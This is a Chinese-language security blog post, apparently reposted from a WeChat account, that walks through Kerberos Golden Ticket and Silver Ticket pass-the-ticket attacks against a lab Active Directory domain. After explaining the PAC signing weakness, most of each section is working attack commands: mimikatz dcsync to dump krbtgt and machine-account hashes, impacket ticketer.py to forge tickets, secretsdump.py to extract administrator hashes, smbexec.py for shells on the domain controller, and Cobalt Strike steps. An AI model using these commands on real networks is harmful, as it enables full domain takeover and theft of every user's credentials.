PTT票据传递攻击

admin 2024年4月24日07:32:09评论3 views字数 4479阅读14分55秒阅读模式

黄金票据(GoldenTicket)攻击

在Kerberos认证过程的AS-REP阶段,在经过预认证后,KDC的AS认证服务返回的TGT认购权证中加密部分authorization-data是使用krbtgt密钥加密的,而authorization-data中存放着代表用户身份的PAC,并且在这个阶段PAC的PAC_SERVER_CHECKSUM签名和PAC_PRIVSVR_CHECKSUM签名的密钥都是krbtgt密钥。因此,只要我们能拥有krbtgt的密钥,就能够伪造高权限的PAC,然后将其封装在TGT认购权证中。客户端再拿着这个TGT认购权证以高权限请求任意服务的服务票据!需要说明的是,使用krbtgt密钥生成高权限的TGT认购权证这个过程是离线的,不需要连接KDC。这个攻击过程被称为黄金票据(GoldenTicket)传递攻击。

要创建黄金票据,我们需要知道以下信息:

•krbtgt账号的NTLM哈希或AESKey值
•域的SID值
•域名
•要伪造的域用户,一般填写高权限帐户,如域管理员

通过在域控上查询我们得到如下信息:

mimikatz.exelsadump::dcsync /domain:rkabyss.com /user:krbtgt /csvexit
•krbtgt哈希:c98295cd9debc26cde3eeb32539eb8af

PTT票据传递攻击

•域sid:S-1-5-21-2868541198-210551720-3019540620

PTT票据传递攻击

•域名:rkabyss.com
•域管理员:administrator

现在我们需要利用这些信息来进行黄金票据传递攻击了。能进行黄金票据传递攻击的工具有很多,这里只介绍使用impacket、mimikatz和CobaltStrike来进行黄金票据传递攻击。

实验环境如下:

•域控系统版本:Windows Server 2016
•域控主机名:DC01
•域控ip:10.10.10.14
•域内主机系统版本:Windows10
•域内主机名:win10
•域内主机ip:10.10.10.66

1.使用impacket进行攻击

我们可以使用impacket下的ticketer.py脚本来离线生成黄金票据,然后将票据导入内存中,即可使用secretsdump.py、smbexec.py等脚本进行后利用。

#生成黄金票据python3 ticketer.py -domain-sid S-1-5-21-2868541198-210551720-3019540620 -nthash c98295cd9debc26cde3eeb32539eb8af -domain rkabyss.com administrator

PTT票据传递攻击

#导入票据export KRB5CCNAME=administrator.ccache

PTT票据传递攻击

#导出administrator用户的哈希python3 secretsdump.py -k -no-pass administrator@DC01.rkabyss.com -dc-ip 10.10.10.14 -just-dc-user administrator

PTT票据传递攻击

通过黄金票据攻击获得了域控DC01和域内主机win10的最高权限了。

#访问域控AD01python3 smbexec.py -no-pass -k administrator@DC01.rkabyss.com -dc-ip 10.10.10.14

PTT票据传递攻击

#访问域内主机win10python3 smbexec.py -no-pass -k administrator@win10.rkabyss.com -dc-ip 10.10.10.14 -codec gbk

PTT票据传递攻击

2.使用mimikatz进行攻击

使用mimikatz进行攻击的话,攻击机可以是域中的普通机器,也可以不是域中的机器。当攻击机不在域中时,需要将DNS服务器设置为域控。首先执行如下命令可以看到本机并没有权限导出域内任意用户哈希。

mimikatz.exe "lsadump::dcsync /domain:rkabyss.com /user:krbtgt /csv" "exit"

PTT票据传递攻击

      然后执行如下命令生成黄金票据并导入内存中,就拥有导出任意用户哈希的权限了。

mimikatz.exe#生成并导入黄金票据到当前内存中kerberos::golden /user:administrator /domain:rkabyss.com /sid:S-1-5-21-2868541198-210551720-3019540620 /krbtgt:c98295cd9debc26cde3eeb32539eb8af /ptt#验证是否成功,导出指定用户哈希lsadump::dcsync /domain:rkabyss.com /user:krbtgt /csv

通过黄金票据攻击之后,即有权限导出域内任意用户哈希了。

PTT票据传递攻击

3.使用CobaltStrike进行攻击

获取一台内网中主机的权限。

PTT票据传递攻击

然后如下操作,选中目标session,然后右键执行——>黄金票据

PTT票据传递攻击

输入相应的信息后,点击生成。

PTT票据传递攻击

可以看到黄金票据生成并导入内存中了。

PTT票据传递攻击

然后就可以执行高权限操作了,导出域内任意用户哈希。

PTT票据传递攻击

白银票据(SilverTicket)攻击

在Kerberos认证过程的TGS-REP阶段,在验证了客户端发来的TGT认购权证的真实性和会话安全性后,KDC的TGS票据授予服务将返回指定服务的ST服务票据。ST服务票据中加密部分authorization-data是使用服务密钥加密的,而authorization-data中存放着代表用户身份的PAC,并且在这个阶段PAC的PAC_SERVER_CHECKSUM签名的密钥也是服务密钥(但是该阶段PAC的PAC_PRIVSVR_CHECKSUM签名的密钥是krbtgt密钥,此时客户端并不能伪造PAC_PRIVSVR_CHECKSUM签名)。因此,只要我们能拥有指定服务的密钥,就能够伪造高权限的PAC,然后将其封装在ST服务票据中,并对其进行PAC_SERVER_CHECKSUM签名和加密。客户端再拿着这个ST服务票据以高权限访问指定服务!这里需要说明的是,由于PAC_PRIVSVR_CHECKSUM签名的验证是可选的,并且默认不开启。因此即使攻击者无法伪造PAC_PRIVSVR_CHECKSUM签名,也能利用该ST服务票据以高权限进行正常请求!这个攻击过程被称为白银票据(SilverTicket)传递攻击。

要创建白银票据,我们需要知道以下信息:

•要伪造的域用户
•域名
•域的SID值
•目标服务的FQDN
•利用的服务
•服务账号的NTLM哈希

以下我们进行白银票据攻击使用的服务是域控DC01的服务,可以是LDAP/CIFS/WinRM等服务。因此这里的密钥就是域控DC01$机器账号的密钥了。当请求的是指定服务如LDAP服务时,拥有的权限也只能是指定服务的权限。

通过在域控上查询我们得到如下信息:

lsadump::dcsync /domain:rkabyss.com /user:DC01$ /csv
•服务哈希:d212cd4168f4fe97b112c119b3c3d31e

PTT票据传递攻击

•域sid:S-1-5-21-2868541198-210551720-3019540620

PTT票据传递攻击

•域名:rkabyss.com
•域管理员:administrator

实验环境如下:

•域控系统版本:Windows Server 2016
•域控主机名:DC01
•域控ip:10.10.10.14
•域内主机系统版本:Windows10
•域内主机名:win10
•域内主机ip:10.10.10.66

1.使用impacket进行攻击

我们可以使用impacket下的ticketer.py脚本来离线生成白银票据,然后将票据导入内存中,即可使用secretsdump.py、smbexec.py等脚本进行后利用。

#生成白银票据python3 ticketer.py -domain-sid S-1-5-21-2868541198-210551720-3019540620 -nthash d212cd4168f4fe97b112c119b3c3d31e -spn cifs/DC01.rkabyss.com -domain rkabyss.com administrator

PTT票据传递攻击

#导入票据export KRB5CCNAME=administrator.ccache

PTT票据传递攻击

#访问域控AD01python3 smbexec.py -no-pass -k administrator@DC01.rkabyss.com -dc-ip 10.10.10.14

      对域控DC01进行基于cifs服务的白银票据攻击,攻击完成后,获得域控的最高权限。

PTT票据传递攻击

#导出administrator用户的哈希python3 secretsdump.py -k -no-pass administrator@DC01.rkabyss.com -dc-ip 10.10.10.14 -just-dc-user administrator

PTT票据传递攻击

2.使用mimikatz进行攻击

使用mimikatz进行攻击的话,攻击机可以是域中的普通机器,也可以不是域中的机器。当攻击机不在域中时,需要将DNS服务器设置为域控。首先执行如下命令可以看到本机并没有权限导出域内任意用户哈希。

mimikatz.exe "lsadump::dcsync /domain:rkabyss.com /user:krbtgt /csv" "exit"

可以看到默认情况下本机无权限导出域内任意用户哈希。

PTT票据传递攻击

      然后执行如下命令生成白银票据并导入内存中,就拥有导出任意用户哈希的权限了。

mimikatz.exe#生成并导入黄金票据到当前内存中kerberos::golden /domain:rkabyss.com /sid:S-1-5-21-2868541198-210551720-3019540620 59191 /target:DC01.rkabyss.com /service:ldap /rc4:d212cd4168f4fe97b112c119b3c3d31e /user:administrator /ptt#验证是否成功,导出指定用户哈希lsadump::dcsync /domain:rkabyss.com /user:krbtgt /csv

      通过对域控的ldap服务进行白银票据攻击之后,即有权限导出域内任意用户哈希。

PTT票据传递攻击

3.使用CobaltStrike进行攻击

当使用CobaltStrike进行攻击时,上线的机器可以是域中的普通机器,也可以不是域中的机器。当上线的机器不在域中时,需要将该机器的DNS服务器设置为域控。由于CobaltStrike默认自带没有白银票据的功能,因此这里使用插件进行白银票据攻击。

选中白银票据。

PTT票据传递攻击

输入相应的信息后,点击开始。

PTT票据传递攻击

可以看到白银票据生成并导入内存中了。

PTT票据传递攻击

然后就可以执行高权限操作了,导出域内任意用户哈希。

PTT票据传递攻击

原文始发于微信公众号(我真不会渗透):PTT票据传递攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月24日07:32:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PTT票据传递攻击https://cn-sec.com/archives/2082655.html

发表评论

匿名网友 填写信息